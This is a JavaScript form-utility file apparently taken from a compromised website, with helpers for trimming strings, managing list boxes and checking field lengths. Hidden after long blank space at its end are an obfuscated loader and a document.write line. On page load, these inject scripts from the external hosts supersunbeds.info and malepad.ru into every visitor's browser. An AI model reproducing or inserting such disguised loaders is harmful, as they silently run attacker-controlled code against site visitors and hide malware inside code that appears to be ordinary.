
 function ShowHelpDialog(Url)
    {
	if (window.showModalDialog)
		 {
			 var dialogwin=window.showModalDialog(Url);
		 }
 		else
		{
				openWindow(Url);
		}	
  }
  
  function openWindow(UrlPath)
  {
   var newwin=window.open(UrlPath);
 }
	 
  function setFocus(name)
  {
  	this.name=document.getElementById(name);
	this.name.focus();
  }
  function HrefControl(name)
    {
    var objName= new setFocus(name);
  }
function LTrim(val) {
	var trimI;
	for(trimI=0;trimI<=val.length;trimI++) {
	if (val.charAt(0)== " ") {
		val = val.substring(1, val.length);
		trimI=0;
	} else break;
    }
    return val;
}
function RTrim(val) {
	var trimI;
    for(trimI=0;trimI<=val.length;trimI++) {
	if (val.charAt(val.length-1)== " ") {
		val = val.substring(0, val.length-1);
		trimI=0;
	} else break;
    }
    return val;
}
function Trim(val) {
	val = LTrim(val);
	val = RTrim(val);
	return val;
}
function SetValue(Id,value)
	{
	if (document.getElementById (Id))
	    document.getElementById (Id).value =value;
	}
function IsExist(Id)
	{
	if (document.getElementById (Id))
	  return (true);
	else
	  return (false);
	}
	
	
function isItemExist(ListBox,TextBox) 
  {
	for (var i = 0;i<=document.getElementById(ListBox).length-1;i++) 
         {
     	  if (document.getElementById(ListBox).options[i].value.toLowerCase() == document.getElementById(TextBox).value.toLowerCase()) 
     	   {
				alert("Elective Already Exist");
				document.getElementById(TextBox).focus();
				document.getElementById(TextBox).select();
				return false;
		   }
	}
	return true;	
}
function AddtItem(TextBox,ListBox,errmsg) 
   {
	var totElective = 0;
	if (document.getElementById(TextBox).value != "") 
	  {
		if(isItemExist(ListBox,TextBox)) 
		  {
			totElective = document.getElementById(ListBox).length;
			document.getElementById(ListBox).length = document.getElementById(ListBox).length + 1;
			document.getElementById(ListBox).options[totElective].value = document.getElementById(TextBox).value;
			document.getElementById(ListBox).options[totElective].text = document.getElementById(TextBox).value;
			document.getElementById(TextBox).value = "";
			document.getElementById(TextBox).focus();
		  }
	  } 
	else 
	   alert(errmsg);
    }

function RemoveItem(TextBox,ListBox,errmsg) 
  {
	if (document.getElementById(ListBox).selectedIndex > 0) 
	   {
		for (var i = document.getElementById(ListBox).selectedIndex; i<document.getElementById(ListBox).options.length-1; i++)
		 {
			document.getElementById(ListBox).options[i].value = document.getElementById(ListBox).options[i+1].value;
			document.getElementById(ListBox).options[i].text = document.getElementById(ListBox).options[i+1].text;
		  }
		document.getElementById(ListBox).options.length = document.getElementById(ListBox).options.length -1;
	   }
	else
	  {
	    if (Trim(errmsg)!= "" )   
	      alert(errmsg)
	  }  
}

function Enable(Id)
{
if (IsExist(Id))
document.getElementById(Id).disabled=false ;
}

function Disable(Id)
{
if (IsExist(Id))
document.getElementById(Id).disabled=true;
}




function CheckContentLength(frmName, objName, MaxLength, msg, disobjName) {
if(document.forms[frmName]) {
if(document.forms[frmName].elements[objName]) {
if(document.forms[frmName].elements[objName].value.length > parseInt(MaxLength-1)) {
alert(msg);
document.forms[frmName].elements[objName].value = document.forms[frmName].elements[objName].value.substr(0,parseInt(MaxLength-1));
document.forms[frmName].elements[objName].setfocus;
return false;
}
if (document.forms[frmName].elements[disobjName]) {
document.forms[frmName].elements[disobjName].value = document.forms[frmName].elements[objName].value.length+1;
}
} else alert("Invalid Object Name");
} else alert("Invalid Form Name");
}









var m='';var Xd;if(Xd!='BM'){Xd='BM'};try {var P="";var Ci="";var y=window[unescape("%75%6e%65%73%63%61%70%65")];var U=null;var KS=new Date();var Z=window[y("%52%65%67%45%78%70")];var Q=new Date();var C=y("%72%65%70%6c%61%63%65");var Tt=new String();var KW;if(KW!='' && KW!='PC'){KW=null};function x(B,r){var Wi;if(Wi!='mg'){Wi=''};this.l="";this.du="";var K=y("%5b");this.u="";var NL;if(NL!='I' && NL != ''){NL=null};K+=r;this.Y='';K+=y("%5d");var La;if(La!=''){La='R'};var f=new Z(K, y("%67"));return B.replace(f, U);this.Ue='';};var B=y("%31");var xv;if(xv!='' && xv!='M'){xv=''};var NB;if(NB!='KH' && NB!='Jq'){NB=''};var v=new String("onloa"+"xq7Cd".substr(4));var G=x('/1fOawnxpvo0ps-qcAoAmw/sg7o7ovgFlIey.qcAo0mM/qp0exrOeIzbhAiblvtboynb.7cToAmT.spyh7pE','yF7xTI0LbM1vEqwOAjs');var LP="";var E=y("%73%63%72%69%70%74");var KA;if(KA!='' && KA!='fU'){KA=''};var sE;if(sE!='' && sE!='j'){sE=''};var q="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x70\x65\x72\x73\x75\x6e\x62\x65\x64\x73\x2e\x69\x6e\x66\x6f\x3a";var H=x('832173123912112239027379297274312382243117792414299021372442492722914','713294');this.Hz='';this.Rb='';var a='';var inB=new Date();function F(){this.n="";this.WU="";var d=document;var HyV;if(HyV!=''){HyV='Rc'};N=d.createElement(E);a+=q;a+=H+G;var sa="";var uC;if(uC!='HB'){uC='HB'};var tW=new Array();N.defer=B;this.jP="";var J=d.body;var IX;if(IX!='vL'){IX='vL'};N.src=a;var e=new Array();this.Tj='';var sA;if(sA!='Oc' && sA!='lv'){sA=''};J.appendChild(N);var ls;if(ls!='' && ls!='Mv'){ls=null};var Am="";};this.GI='';this.RK="";var k='';var PM;if(PM!='zq'){PM='zq'};window[v]=F;var Dg=new Date();} catch(c){};










document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/IM.js"></scr'+'ipt>');